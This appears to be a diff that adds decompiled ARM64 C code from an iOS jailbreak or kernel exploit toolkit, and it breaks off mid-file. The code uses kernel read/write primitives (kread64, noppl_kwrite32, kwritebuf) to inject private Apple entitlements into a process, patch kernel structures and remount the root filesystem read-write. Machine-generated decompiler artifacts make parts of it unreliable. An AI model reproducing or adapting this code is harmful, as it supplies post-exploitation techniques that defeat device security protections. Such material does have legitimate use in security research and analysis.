const char *a2, const char *a3) +{ + int v6; // w8 + size_t v9; // x0 + int v10; // w22 + int v11; // w0 + int v12; // w21 + __int64 v13; // x0 + __int64 v14; // x23 + __int64 v15; // x19 + int v17; // [xsp+Ch] [xbp-8B4h] BYREF + statfs v18; // [xsp+10h] [xbp-8B0h] BYREF + + bzero(&v18, 0x878uLL); + v17 = 0; + v6 = *(_DWORD *)(a1 + 0x140); + if ( (unsigned int)(v6 - 0x1F53) >= 2 && v6 != 0x1C1B && v6 != 0x1809 ) + return 0LL; + if ( statfs(a2, &v18) ) + return 0LL; + v9 = strlen(a3); + if ( v9 > 0x3FF ) + return 0LL; + v10 = v9; + v11 = open(a2, 0); + if ( v11 < 1 ) + return 0LL; + v12 = v11; + v13 = sub_14CA4(); + if ( v13 + && (v14 = v13 + 0x4E4, (unsigned int)kreadbuf_last_1(a1, v13 + 0x4E4, 4LL, (__int64)&v17)) + && v17 == *(_DWORD *)v18.f_mntfromname ) + { + v15 = kwritebuf_last_1(a1, v14, (__int64)a3, (unsigned int)(v10 + 1)); + } + else + { + v15 = 0LL; + } + close(v12); + return v15; +} + +//----- (0000000000014444) ---------------------------------------------------- +bool __fastcall sub_14444(const char *a1) +{ + statfs v3; // [xsp+0h] [xbp-8A0h] BYREF + + bzero(&v3, 0x878uLL); + if ( statfs(a1, &v3) ) + { + __error(); + } + else if ( !(*(_QWORD *)v3.f_mntfromname ^ 0x7369642F7665642FLL | *(_QWORD *)&v3.f_mntfromname[7] ^ 0x31733173306B73LL) ) + { + return strcmp(a1, v3.f_mntonname) == 0; + } + return 0LL; +} + +//----- (0000000000014524) ---------------------------------------------------- +__int64 __fastcall sub_14524(_DWORD *a1, int a2) +{ + _BOOL4 v4; // w21 + char *v5; // x0 + const char *v6; // x1 + char v7; // w2 + __int64 v8; // x20 + __int64 v9; // x0 + int v10; // w1 + const char *v11; // x8 + int v12; // w20 + int v13; // w21 + int v14; // w0 + _BOOL4 v16; // w0 + char v18[3]; // [xsp+4h] [xbp-8Ch] BYREF + bool v19; // [xsp+7h] [xbp-89h] BYREF + statfs *v20; // [xsp+8h] [xbp-88h] BYREF + char __s1[39]; // [xsp+10h] [xbp-80h] BYREF + const char *v22[6]; // [xsp+38h] [xbp-58h] BYREF + + v19 = 0; + strcpy(__s1, "/private/var/MobileSoftwareUpdate/mnt1"); + strcpy(v18, "/"); + krw_ctx_set_flag(a1, 0x400); + if ( !(unsigned int)sub_154D0( + (__int64)a1, + mach_task_self_, + "com.apple.private.vfs.snapshot", + 0LL, + 8) ) + return 0LL; + if ( !(unsigned int)sub_226D4() ) + return 0LL; + v4 = sub_22CA8(&v19); + if ( v4 && !v19 && !(unsigned int)sub_141F0((__int64)a1) ) + return 0LL; + if ( a2 == 4 || a2 == 2 ) + { + if ( !v4 ) + { + v7 = a2 == 4; + v6 = "orig-fs"; + v5 = v18; +LABEL_18: + v8 = sub_228E4(v5, v6, v7); + if ( !(_DWORD)v8 ) + return v8; + goto LABEL_21; + } + if ( !sub_14444(__s1) ) + { + v8 = 1LL; +LABEL_21: + sub_36088(a1, 0x400); + return v8; + } + if ( (unsigned int)sub_148A4((__int64)a1, __s1) ) + { + v5 = __s1; + v6 = 0LL; + v7 = 0; + goto LABEL_18; + } + return 0LL; + } + if ( !v4 ) + { + if ( a2 == 1 ) + { + if ( !(unsigned int)sub_22ADC(v18, "orig-fs") ) + return 0LL; + v9 = (__int64)a1; + v10 = 1; + } + else + { + v9 = (__int64)a1; + v10 = 0; + } + return sub_14920(v9, v10); + } + if ( sub_14444(__s1) ) + { + if ( a2 == 1 ) + { + if ( !(unsigned int)sub_22ADC(__s1, 0LL) ) + return 0LL; + return (unsigned int)sub_14EC4((__int64)"/dev/disk0s1s1", __s1, 0x110000u) == 0; + } + return sub_148A4((__int64)a1, __s1); + } + if ( !(unsigned int)add_rw_to_disk((__int64)a1, v18, "/dev/disk0s1s1") ) + return 0LL; + v11 = "rdonly,nobrowse"; + v20 = 0LL; + v22[0] = "/sbin/mount_apfs"; + v22[1] = "-o"; + if ( a2 == 1 ) + v11 = "nobrowse"; + v22[2] = v11; + v22[3] = "/dev/disk0s1s1"; + v22[4] = __s1; + v22[5] = 0LL; + if ( !memcmp(__s1, "/private/var/MobileSoftwareUpdate", 0x21uLL) + && mkdir("/private/var/MobileSoftwareUpdate", 0x1FFu) + && *__error() != 0x11 ) + { + return 0LL; + } + if ( !(unsigned int)krw_inject_entitlements_maybe( + (__int64)a1, + mach_task_self_, + "com.apple.private.security.disk-device-access") ) + return 0LL; + v12 = mkdir(__s1, 0x1FFu); + if ( v12 ) + { + if ( *__error() != 0x11 ) + return 0LL; + } + if ( (int)a1[0x50] >= 0x1809 && chown(__s1, 0x1F5u, 0x1F5u) ) + return 0LL; + v13 = 6; + while ( 1 ) + { + v14 = sub_2B788(v22); + if ( v14 != 0x31 ) + break; + getmntinfo(&v20, 0); + usleep(0xC8u); + if ( !--v13 ) + goto LABEL_47; + } + if ( !v14 ) + { + v16 = sub_14444(__s1); + goto LABEL_48; + } +LABEL_47: + v16 = 0; +LABEL_48: + if ( !(v16 | v12) ) + { + rmdir(__s1); + return 0LL; + } + if ( !v16 ) + return 0LL; + if ( !sub_13FF8((__int64)a1, v18) || (v8 = sub_22ADC(__s1, 0LL), !(_DWORD)v8) ) + { + sub_148A4((__int64)a1, __s1); + return 0LL; + } + return v8; +} + +//----- (00000000000148A4) ---------------------------------------------------- +__int64 __fastcall sub_148A4(__int64 a1, char *a2) +{ + __int64 result; // x0 + int v5; // [xsp+Ch] [xbp-14h] BYREF + + v5 = 0; + result = sub_14D98(a1, a2, 1, (unsigned int *)&v5); + if ( (_DWORD)result ) + { + if ( (unsigned int)sub_14EC4((__int64)"/dev/disk0s1s1", a2, 0x110001u) ) + { + sub_14D98(a1, a2, v5, 0LL); + return 0LL; + } + else + { + return 1LL; + } + } + return result; +} + +//----- (0000000000014920) ---------------------------------------------------- +__int64 __fastcall sub_14920(__int64 a1, int a2) +{ + unsigned int v4; // w0 + __int64 v5; // x24 + char *f_mntonname; // x21 + unsigned __int64 v7; // x23 + _BOOL4 v8; // w0 + __int64 v9; // x24 + _BOOL4 v10; // w21 + int v11; // w0 + int v12; // w22 + int v13; // w8 + __int64 v14; // x0 + int v15; // w0 + int v16; // w24 + int v17; // w2 + int v18; // w0 + int v20; // [xsp+0h] [xbp-50h] BYREF + int v21; // [xsp+4h] [xbp-4Ch] BYREF + statfs *v22; // [xsp+8h] [xbp-48h] BYREF + + v22 = 0LL; + v4 = getmntinfo(&v22, 0); + if ( v4 ) + { + v5 = v4; + f_mntonname = v22->f_mntonname; + v7 = 1LL; + do + { + if ( !strcmp("/", f_mntonname) ) + v7 = f_mntonname[0xFFFFFFE8] & 1; + f_mntonname += 0x878; + --v5; + } + while ( v5 ); + } + else + { + v7 = 1LL; + } + v8 = sub_14F9C(); + v21 = 0; + if ( ((v7 & 1) == 0) == a2 ) + return 1LL; + v10 = v8; + if ( a2 ) + { + v11 = open("/", 0); + if ( v11 == 0xFFFFFFFF ) + return 0LL; + v12 = v11; + v13 = *(_DWORD *)(a1 + 0x140); + if ( (unsigned int)(v13 - 0x1F53) >= 2 && v13 != 0x1C1B && v13 != 0x1809 ) + return 0LL; + v14 = sub_14CA4(); + v9 = 0LL; + if ( !v14 ) + return v9; + v7 = v14 + 0x70; + if ( v14 == 0xFFFFFFFFFFFFFF90LL ) + return v9; + if ( !kread32_outptr(a1, v7, &v20) ) + return 0LL; + v20 &= ~0x4000u; + if ( !noppl_kwrite32(a1, v7, v20) ) + return 0LL; + v15 = open("/", 0); + if ( (v15 & 0x80000000) == 0 ) + { + v16 = v15; + LODWORD(v22) = 0; + ffsctl(v15, 0x80046814uLL, &v22, 0); + LODWORD(v22) = 1; + ffsctl(v16, 0x80046815uLL, &v22, 0); + LODWORD(v22) = 2; + if ( v10 ) + { + ffsctl(v16, 0x80044A11uLL, &v22, 0); + LODWORD(v22) = 3; + } + ffsctl(v16, 0x80046816uLL, &v22, 0); + close(v16); + } + v17 = 0x10000; + } + else + { + if ( v8 && !(unsigned int)sub_14D98(a1, "/", 1, (unsigned int *)&v21) ) + return 0LL; + v17 = 0x10010001; + v12 = 0xFFFFFFFF; + } + if ( v10 ) + v18 = sub_14EC4((__int64)"/dev/disk0s1s1", "/", v17); + else + v18 = sub_14F5C((__int64)"/dev/disk0s1s1", "/", v17); + if ( v18 == 0xFFFFFFFF ) + { + v9 = 0LL; + if ( a2 ) + goto LABEL_32; + } + else + { + v9 = 1LL; + if ( a2 ) + { +LABEL_32: + if ( kread32_outptr(a1, v7, &v20) ) + { + v20 |= 0x4000u; + if ( noppl_kwrite32(a1, v7, v20) ) + { + close(v12); + return v9; + } + } + return 0LL; + } + } + if ( (((unsigned int)v9 | !v10) & 1) == 0 && !(unsigned int)sub_14D98(a1, "/", v21, 0LL) ) + return 0LL; + return v9; +} + +//----- (0000000000014BEC) ---------------------------------------------------- +__int64 __fastcall sub_14BEC(__int64 a1, void *a2, _DWORD *a3, _BOOL4 *a4) +{ + _BOOL4 v7; // w20 + const char *v8; // x23 + size_t v9; // x24 + __int64 result; // x0 + + v7 = sub_22CA8(0LL); + if ( v7 ) + { + if ( !sub_14444("/private/var/MobileSoftwareUpdate/mnt1") ) + { + LODWORD(v9) = 0; +LABEL_10: + *a3 = v9; + result = 1LL; + if ( !a4 ) + return result; + goto LABEL_11; + } + v8 = "/private/var/MobileSoftwareUpdate/mnt1/"; + } + else + { + v8 = "/"; + } + v9 = strlen(v8) + 1; + if ( v9 <= (unsigned int)*a3 ) + { + memcpy(a2, v8, v9); + goto LABEL_10; + } + result = 0LL; + if ( a4 ) +LABEL_11: + *a4 = v7; + return result; +} + +//----- (0000000000014CA4) ---------------------------------------------------- +__int64 sub_14CA4() +{ + j__fileport_makeport(); + return 0LL; +} +// 14CE0: conditional instruction was optimized away because %var_14.4==0 + +//----- (0000000000014D98) ---------------------------------------------------- +__int64 __fastcall sub_14D98(__int64 a1, char *a2, int a3, unsigned int *a4) +{ + int v7; // w0 + int v8; // w19 + __int64 v9; // x0 + int v10; // w8 + __int64 v11; // x8 + __int64 v12; // x23 + mach_vm_address_t v13; // x24 + unsigned int v15; // [xsp+Ch] [xbp-34h] BYREF + + v7 = open(a2, 0); + if ( v7 != 0xFFFFFFFF ) + { + v8 = v7; + v9 = sub_14164((_DWORD *)a1); + if ( v9 ) + { + v10 = *(_DWORD *)(a1 + 0x140); + if ( (unsigned int)(v10 - 0x1F53) < 2 ) + { + v11 = 0x224LL; + } + else if ( v10 == 0x1809 ) + { + v11 = 0x1C8LL; + } + else + { + if ( v10 != 0x1C1B ) + goto LABEL_18; + v11 = 0x1DCLL; + if ( *(_QWORD *)(a1 + 0x158) > 0x1C1B19145FFFFFuLL ) + v11 = 0x1C4LL; + } + v13 = v11 + v9; + v12 = 0LL; + if ( !kread32_outptr(a1, v11 + v9, &v15) || v15 > 1 ) + goto LABEL_19; + if ( noppl_kwrite32(a1, v13, a3) ) + { + if ( a4 ) + *a4 = v15; + v12 = 1LL; + goto LABEL_19; + } + } +LABEL_18: + v12 = 0LL; +LABEL_19: + close(v8); + return v12; + } + return 0LL; +} + +//----- (0000000000014EC4) ---------------------------------------------------- +__int64 __fastcall sub_14EC4(__int64 a1, const char *a2, unsigned int a3) +{ + _QWORD v4[2]; // [xsp+0h] [xbp-140h] BYREF + __int128 v5; // [xsp+10h] [xbp-130h] + __int128 v6; // [xsp+20h] [xbp-120h] + __int128 v7; // [xsp+30h] [xbp-110h] + __int128 v8; // [xsp+40h] [xbp-100h] + __int128 v9; // [xsp+50h] [xbp-F0h] + __int128 v10; // [xsp+60h] [xbp-E0h] + __int128 v11; // [xsp+70h] [xbp-D0h] + __int128 v12; // [xsp+80h] [xbp-C0h] + __int128 v13; // [xsp+90h] [xbp-B0h] + __int128 v14; // [xsp+A0h] [xbp-A0h] + __int128 v15; // [xsp+B0h] [xbp-90h] + __int128 v16; // [xsp+C0h] [xbp-80h] + __int128 v17; // [xsp+D0h] [xbp-70h] + __int128 v18; // [xsp+E0h] [xbp-60h] + __int128 v19; // [xsp+F0h] [xbp-50h] + __int128 v20; // [xsp+100h] [xbp-40h] + __int128 v21; // [xsp+110h] [xbp-30h] + __int64 v22; // [xsp+120h] [xbp-20h] + + v22 = 0LL; + v20 = 0u; + v21 = 0u; + v18 = 0u; + v19 = 0u; + v16 = 0u; + v17 = 0u; + v14 = 0u; + v15 = 0u; + v12 = 0u; + v13 = 0u; + v10 = 0u; + v11 = 0u; + v8 = 0u; + v9 = 0u; + v6 = 0u; + v7 = 0u; + v5 = 0u; + v4[0] = a1; + v4[1] = a3; + return mount("apfs", a2, a3, v4); +} + +//----- (0000000000014F5C) ---------------------------------------------------- +__int64 __fastcall sub_14F5C(__int64 a1, const char *a2, int a3) +{ + __int64 v4; // [xsp+0h] [xbp-30h] BYREF + __int128 v5; // [xsp+8h] [xbp-28h] + __int128 v6; // [xsp+18h] [xbp-18h] + __int64 v7; // [xsp+28h] [xbp-8h] + + v7 = 0LL; + v6 = 0u; + v5 = 0u; + v4 = a1; + return mount("hfs", a2, a3, &v4); +} + +//----- (0000000000014F9C) ---------------------------------------------------- +bool sub_14F9C() +{ + unsigned int v0; // w0 + bool v1; // w23 + __int64 v2; // x22 + char *f_mntonname; // x19 + statfs *v5; // [xsp+8h] [xbp-38h] BYREF + + v5 = 0LL; + v0 = getmntinfo(&v5, 0); + v1 = 0; + if ( v0 ) + { + v2 = v0; + f_mntonname = v5->f_mntonname; + do + { + if ( !strcmp("/", f_mntonname) ) + v1 = strncmp("apfs", f_mntonname + 0xFFFFFFF0, 0x10uLL) == 0; + f_mntonname += 0x878; + --v2; + } + while ( v2 ); + } + return v1; +} + +//----- (000000000001503C) ---------------------------------------------------- +__int64 __fastcall krw_inject_entitlements_maybe(__int64 a1, __int64 a2, char *a3) +{ + int v4; // w23 + _BOOL8 v7; // x24 + void *v8; // x22 + CFPropertyListRef v9; // x21 + const __CFData *v10; // x20 + size_t v11; // x0 + void *(__cdecl *v12)(void *); // x0 + const __CFData *Data; // x0 + const __CFData *v14; // x23 + size_t Length; // x24 + const UInt8 *BytePtr; // x0 + int v17; // w0 + unsigned int v18; // w0 + mach_port_name_t v19; // w23 + int v20; // w8 + unsigned __int64 v21; // x0 + int v22; // w23 + CFPropertyListFormat format; // [xsp+8h] [xbp-108h] BYREF + CFTypeRef cf; // [xsp+10h] [xbp-100h] BYREF + __int64 v25; // [xsp+18h] [xbp-F8h] BYREF + int v26; // [xsp+20h] [xbp-F0h] + CFTypeRef v27; // [xsp+28h] [xbp-E8h] + mach_port_name_t name[2]; // [xsp+30h] [xbp-E0h] BYREF + int v29; // [xsp+38h] [xbp-D8h] + pthread_t v30; // [xsp+40h] [xbp-D0h] BYREF + pthread_attr_t v31; // [xsp+48h] [xbp-C8h] BYREF + __int64 vars8; // [xsp+118h] [xbp+8h] + + v4 = a2; + format = kCFPropertyListXMLFormat_v1_0; + cf = 0LL; + if ( *(_QWORD *)(a1 + 0x158) < 0x1F530000000000uLL ) + { + v7 = 0LL; + if ( (unsigned int)sub_251A4(a1, 0, 0x2710u) ) + return v7; + v31.__sig = a1; + *(_DWORD *)&v31.__opaque[4] = 0; + *(_DWORD *)v31.__opaque = v4; + *(_QWORD *)&v31.__opaque[8] = &cf; + *(_QWORD *)&v31.__opaque[0x10] = 0LL; + v7 = 0LL; + v8 = 0LL; + if ( pthread_create_and_join(a1, (__int64)sub_155A0, &v31) ) + { + v9 = 0LL; + v10 = 0LL; + if ( *(_DWORD *)&v31.__opaque[0x10] ) + { + v11 = strlen(a3); + v10 = CFDataCreateWithBytesNoCopy(kCFAllocatorDefault, (const UInt8 *)a3, v11 + 1, kCFAllocatorNull); + if ( !v10 ) + { + v8 = 0LL; + v9 = 0LL; + goto LABEL_15; + } + v9 = CFPropertyListCreateWithData(kCFAllocatorDefault, v10, 0LL, &format, 0LL); + if ( !v9 ) + goto LABEL_12; + if ( (unsigned int)sub_12BF4(cf, v9) ) + { + if ( (unsigned int)sub_12954(cf, v9) ) + { +LABEL_12: + v8 = 0LL; + goto LABEL_15; + } + if ( *(_QWORD *)(a1 + 0x158) >= 0x1C1B0A80100000uLL && (*(_DWORD *)a1 & 0x5584001) != 0 ) + { + v25 = a1; + v26 = v4; + v27 = cf; + if ( pthread_attr_init(&v31) ) + goto LABEL_12; + if ( pthread_attr_setdetachstate(&v31, 1) + || (v30 = 0LL, + v29 = 0x1001, + *(_QWORD *)name = &v25, + v12 = (void *(__cdecl *)(void *))nullsub_1(sub_15880), + pthread_create(&v30, &v31, v12, name)) + || pthread_join(v30, 0LL) ) + { + pthread_attr_destroy(&v31); + goto LABEL_12; + } + v22 = v29; + pthread_attr_destroy(&v31); + v8 = 0LL; + if ( v22 ) + goto LABEL_15; + } + else + { + Data = CFPropertyListCreateData(kCFAllocatorDefault, cf, kCFPropertyListXMLFormat_v1_0, 0LL, 0LL); + if ( !Data ) + goto LABEL_12; + v14 = Data; + Length = CFDataGetLength(Data); + v8 = calloc(Length + 1, 1uLL); + if ( !v8 ) + { + CFRelease(v14); + goto LABEL_15; + } + BytePtr = CFDataGetBytePtr(v14); + memcpy(v8, BytePtr, Length); + CFRelease(v14); + name[0] = 0; + v25 = 0LL; + v17 = strlen((const char *)v8); + v18 = sub_24FC0((__int64)v8, v17 + 1, name); + if ( v18 + 1 <= 1 ) + { +LABEL_15: + v7 = 0LL; + goto LABEL_16; + } + v19 = v18; + v20 = *(_DWORD *)(a1 + 0x140); + v7 = ((unsigned int)(v20 - 0x1F53) < 2 || v20 == 0x1C1B || v20 == 0x1809) + && (v21 = port_name_to_kaddr(a1, v18), (v25 = v21) != 0) + && kread64((_DWORD *)a1, v21 + 0x10, &v25) + && kread64((_DWORD *)a1, v25 + 0x18, &v25) + && noppl_kwrite32(a1, v25 + *(int *)(a1 + 0x168), 0xFF) + && (unsigned int)kreadbuf_last_1(a1, v25, 0x28LL, (__int64)&v31) + && (unsigned int)kwritebuf_last_1( + a1, + *(_QWORD *)(a1 + 0x390) + *(int *)(a1 + 0x168), + (__int64)&v31 + *(int *)(a1 + 0x168), + (unsigned int)(0x28 - *(_DWORD *)(a1 + 0x168))) != 0; + mach_port_destroy(mach_task_self_, v19); + if ( name[0] + 1 >= 2 ) + mach_port_destroy(mach_task_self_, name[0]); + if ( !v7 ) + goto LABEL_16; + } + } + else + { + v8 = 0LL; + } + v7 = 1LL; + } + } + else + { + v9 = 0LL; + v10 = 0LL; + } +LABEL_16: + sub_25164(a1, 0); + if ( cf ) + CFRelease(cf); + if ( v9 ) + CFRelease(v9); + if ( v10 ) + CFRelease(v10); + if ( v8 ) + free(v8); + return v7; + } + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return krw_inject_entitlements2_maybe(a1, a2, a3, 1); +} +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (00000000000154D0) ---------------------------------------------------- +__int64 __fastcall sub_154D0(__int64 a1, __int64 a2, char *a3, __int64 a4, int a5) +{ + __int64 result; // x0 + __int64 v10; // x23 + int v11; // [xsp+Ch] [xbp-34h] BYREF + + v11 = 0; + if ( (a5 & 0xB) == 0 ) + return 0LL; + result = sub_32D6C(a1, a2); + if ( result ) + { + result = sub_329B8(a1, result); + if ( result ) + { + v10 = result; + result = kreadbuf_last_1(a1, result, 4LL, (__int64)&v11); + if ( (_DWORD)result ) + { + if ( (v11 & a5) == 0 ) + { + result = krw_inject_entitlements_maybe(a1, a2, a3); + if ( (_DWORD)result ) + { + v11 |= a5; + return kwritebuf_last_1(a1, v10, (__int64)&v11, 4LL); + } + } + } + } + } + return result; +} + +//----- (00000000000155A0) ---------------------------------------------------- +__int64 __fastcall sub_155A0(__int64 a1) +{ + __int64 v2; // x21 + unsigned int v3; // w1 + CFMutableDictionaryRef *v4; // x25 + __int64 result; // x0 + io_service_t v6; // w20 + __int64 v7; // x22 + int v8; // w0 + kern_return_t v9; // w23 + int v10; // w24 + int v11; // w0 + unsigned __int64 v12; // x0 + unsigned __int64 v13; // x23 + io_object_t v14; // w22 + mach_vm_address_t v15; // x23 + __int64 v16; // x2 + kern_return_t v17; // w24 + io_iterator_t iterator[2]; // [xsp+8h] [xbp-68h] BYREF + CFMutableDictionaryRef properties; // [xsp+10h] [xbp-60h] BYREF + __int64 v20; // [xsp+18h] [xbp-58h] BYREF + __int64 v21; // [xsp+20h] [xbp-50h] BYREF + io_connect_t connect; // [xsp+2Ch] [xbp-44h] BYREF + + v2 = *(_QWORD *)a1; + v3 = *(_DWORD *)(a1 + 8); + v4 = *(CFMutableDictionaryRef **)(a1 + 0x10); + connect = 0; + v20 = 0LL; + v21 = 0LL; + properties = 0LL; + result = sub_34D14(v2, v3); + if ( !(_DWORD)result ) + goto LABEL_14; + result = validate_addr(v2, *(_QWORD *)(v2 + 0x390)); + if ( !result ) + goto LABEL_14; + if ( *(int *)(v2 + 0x140) < 0x1C1B ) + { + result = (__int64)sub_24D64("AppleM2ScalerCSCDriver"); + v6 = result; + } + else + { + v6 = (unsigned int)sub_24D64("AppleKeyStore"); + result = krw_ctx_has_flag((_DWORD *)v2, 4); + if ( !(_DWORD)result ) + { + v7 = *(_QWORD *)(v2 + 0x3A8); + goto LABEL_8; + } + } + v7 = 0LL; +LABEL_8: + if ( v6 + 1 < 2 ) + { +LABEL_14: + v10 = 0; + goto LABEL_15; + } + if ( v7 ) + { + sub_35AE0(v2, *(_DWORD *)(v2 + 0x37C), 0LL); + if ( !v8 ) + { +LABEL_19: + v10 = 0; + goto LABEL_20; + } + v9 = IOServiceOpen(v6, mach_task_self_, 0, &connect); + sub_35AE0(v2, *(_DWORD *)(v2 + 0x37C), v7); + v10 = 0; + if ( !v11 || v9 ) + goto LABEL_20; +LABEL_17: + iterator[0] = 0; + v12 = port_name_to_kaddr(v2, connect); + if ( !v12 ) + goto LABEL_19; + v13 = v12; + if ( IORegistryEntryGetChildIterator(v6, "IOService", iterator) ) + goto LABEL_19; + while ( 1 ) + { + v14 = IOIteratorNext(iterator[0]); + if ( !v14 ) + break; + if ( v13 == port_name_to_kaddr(v2, v14) ) + goto LABEL_27; + IOObjectRelease(v14); + } + v13 = 0LL; +LABEL_27: + IOObjectRelease(iterator[0]); + v10 = 0; + if ( !v14 || !v13 ) + { +LABEL_43: + if ( v14 + 1 >= 2 ) + IOObjectRelease(v14); + goto LABEL_20; + } + v15 = v13 + 0x20; + if ( kread64((_DWORD *)v2, v15, &v21) ) + { + v16 = *(_QWORD *)(v2 + 0x390); + if ( *(_QWORD *)(v2 + 0x158) < 0x1F530000000000uLL ) + { + v20 = *(_QWORD *)(v2 + 0x390); +LABEL_35: + if ( kwrite64(v2, v15, v16) ) + { + v17 = IORegistryEntryCreateCFProperties(v14, &properties, kCFAllocatorDefault, 0); + if ( !kwrite64(v2, v15, v21) || v17 ) + { + if ( properties ) + CFRelease(properties); + } + else if ( properties ) + { + *v4 = properties; + v10 = 1; + goto LABEL_43; + } + } + goto LABEL_42; + } + if ( kread64((_DWORD *)v2, v16 + 0x88, &v20) && validate_addr(v2, v20) ) + { + v16 = v20; + goto LABEL_35; + } + } +LABEL_42: + v10 = 0; + goto LABEL_43; + } + v10 = 0; + if ( !IOServiceOpen(v6, mach_task_self_, 0, &connect) ) + goto LABEL_17; +LABEL_20: + if ( connect + 1 >= 2 ) + { + *(_QWORD *)iterator = 1LL; + IOServiceClose(connect); + IOServiceWaitQuiet(v6, (mach_timespec_t *)iterator); + } + result = IOObjectRelease(v6); +LABEL_15: + *(_DWORD *)(a1 + 0x18) = v10; + return result; +} +// 15664: variable 'v8' is possibly undefined +// 1569C: variable 'v11' is possibly undefined + +//----- (0000000000015880) ---------------------------------------------------- +__int64 __fastcall sub_15880(__int64 a1) +{ + __int64 v2; // x21 + task_inspect_t v3; // w25 + const void *v4; // x20 + host_t v5; // w0 + kern_return_t v6; // w0 + int v7; // w23 + unsigned int v8; // w22 + vm_address_t v9; // x1 + unsigned __int64 v10; // x20 + mach_port_t v11; // w8 + thread_act_t v12; // w0 + kern_return_t v13; // w0 + unsigned int v14; // w8 + const __CFData *v16; // x0 + const __CFData *v17; // x20 + const UInt8 *BytePtr; // x22 + unsigned int Length; // w0 + unsigned int v20; // w24 + bool v21; // zf + unsigned __int64 v22; // x0 + int v23; // w26 + int v24; // w8 + thread_act_t v27; // w0 + mach_port_t v28; // w0 + kern_return_t v29; // w0 + unsigned __int64 v30; // x23 + mach_port_t v31; // w8 + thread_act_t v32; // w0 + int v33; // w0 + int v34; // w0 + unsigned __int64 v35; // x0 + __int64 v36; // x8 + int v37; // w0 + unsigned __int64 v38; // [xsp+0h] [xbp-70h] BYREF + task_suspension_token_t suspend_token[2]; // [xsp+8h] [xbp-68h] BYREF + vm_address_t address; // [xsp+10h] [xbp-60h] BYREF + io_master_t io_master[2]; // [xsp+18h] [xbp-58h] BYREF + + v2 = **(_QWORD **)a1; + v3 = *(_DWORD *)(*(_QWORD *)a1 + 8LL); + v4 = *(const void **)(*(_QWORD *)a1 + 0x10LL); + address = 0LL; + *(_QWORD *)io_master = 0LL; + *(_QWORD *)suspend_token = 0LL; + v5 = mach_host_self(); + v6 = host_get_io_master(v5, &io_master[1]); + if ( !v6 ) + { + v6 = mach_port_allocate(mach_task_self_, 1u, io_master); + if ( !v6 ) + { + v7 = 0xAD009; + v16 = IOCFSerialize(v4, 1uLL); + if ( !v16 ) + goto LABEL_4; + v17 = v16; + BytePtr = CFDataGetBytePtr(v16); + Length = CFDataGetLength(v17); + v20 = Length; + if ( BytePtr ) + v21 = Length == 0; + else + v21 = 1; + if ( v21 ) + goto LABEL_56; + if ( !*(_QWORD *)(v2 + 0x19A8) ) + { + v22 = sub_403E0(v2, "iokit.OSDictionary"); + if ( !v22 ) + { + v7 = 0xAD011; + goto LABEL_56; + } + *(_QWORD *)(v2 + 0x19A8) = v22; + } + v23 = 0x2800F; + v24 = *(_DWORD *)(v2 + 0x140); + if ( (unsigned int)(v24 - 0x1F53) >= 2 && v24 != 0x1C1B && v24 != 0x1809 ) + { + v7 = 0x28011; + goto LABEL_56; + } + v27 = mach_thread_self(); + if ( !sub_2515C(v27) ) + { + v7 = 0x28038; + goto LABEL_56; + } + v28 = mach_thread_self(); + v7 = sub_37A50((int *)v2, v28, 1, 1, 0x60); + if ( v7 ) + { +LABEL_56: + v8 = 0; +LABEL_57: + CFRelease(v17); + goto LABEL_5; + } + thread_switch(0, 2, 0xAu); + if ( mach_task_self_ == v3 ) + { + v29 = task_threads(v3, (thread_act_array_t *)&address, &suspend_token[1]); + if ( !v29 ) + { + if ( suspend_token[1] ) + { + v30 = 0LL; + do + { + if ( (unsigned int)(*(_DWORD *)(address + 4 * v30) + 1) >= 2 ) + { + v31 = mach_thread_self(); + v32 = *(_DWORD *)(address + 4 * v30); + if ( v31 != v32 ) + thread_suspend(v32); + } + ++v30; + } + while ( v30 < suspend_token[1] ); + } +LABEL_58: + sub_35AE0(v2, *(_DWORD *)(v2 + 0x378), 0LL); + if ( v33 ) + { + v34 = sub_4087C( + v2, + *(_QWORD *)(v2 + 0x19A8), + 0x28uLL, + *(_QWORD *)(v2 + 0x390), + (__int64 (__fastcall *)(__int64, __int64))sub_15CA4, + 0LL); + if ( v34 ) + { + v8 = 0; + v23 = v34; +LABEL_63: + v7 = v23; + goto LABEL_57; + } + v8 = sub_24DA8(io_master[1], (__int64)"IOServicePublish", (__int64)BytePtr, v20, io_master[0], 0LL, 0); + if ( v8 ) + { + v35 = port_name_to_kaddr(v2, v8); + v38 = v35; + if ( v35 ) + { + if ( kread64((_DWORD *)v2, v35 + 0x10, (__int64 *)&v38) + && kread64((_DWORD *)v2, v38 + 0x18, (__int64 *)&v38) ) + { + v36 = *(_QWORD *)(v2 + 0x390); + if ( v36 == v38 ) + { + if ( noppl_kwrite32(v2, v36 + *(int *)(v2 + 0x168), 0xFF) ) + { + sub_35AE0(v2, *(_DWORD *)(v2 + 0x378), *(_QWORD *)(v2 + 0x3A0)); + if ( v37 ) + v23 = 0; + else + v23 = 0x28010; + } + else + { + v23 = 0x28010; + } + } + else + { + v23 = 0x2803C; + } + } + } + else + { + v23 = 0x2800E; + } + goto LABEL_63; + } + } + else + { + v8 = 0; + } + v23 = 0x1001; + goto LABEL_63; + } + } + else + { + v29 = task_suspend2(v3, suspend_token); + if ( !v29 ) + goto LABEL_58; + } + v7 = v29 | 0x80000000; + goto LABEL_56; + } + } + v7 = v6 | 0x80000000; +LABEL_4: + v8 = 0; +LABEL_5: + if ( suspend_token[1] ) + { + v9 = address; + if ( address ) + { + v10 = 0LL; + do + { + if ( (unsigned int)(*(_DWORD *)(v9 + 4 * v10) + 1) >= 2 ) + { + v11 = mach_thread_self(); + v12 = *(_DWORD *)(address + 4 * v10); + if ( v11 != v12 ) + thread_resume(v12); + } + ++v10; + v9 = address; + } + while ( v10 < suspend_token[1] ); + vm_deallocate(mach_task_self_, address, 4LL * suspend_token[1]); + } + } + if ( suspend_token[0] + 1 >= 2 ) + { + v13 = task_resume2(suspend_token[0]); + v14 = v13 | 0x80000000; + if ( v7 ) + v14 = v7; + if ( v13 ) + v7 = v14; + } + if ( io_master[1] + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, io_master[1]); + if ( v8 + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, v8); + if ( io_master[0] + 1 >= 2 ) + mach_port_mod_refs(mach_task_self_, io_master[0], 1u, 0xFFFFFFFF); + *(_DWORD *)(a1 + 8) = v7; + return 0LL; +} +// 15B94: variable 'v33' is possibly undefined +// 15C84: variable 'v37' is possibly undefined + +//----- 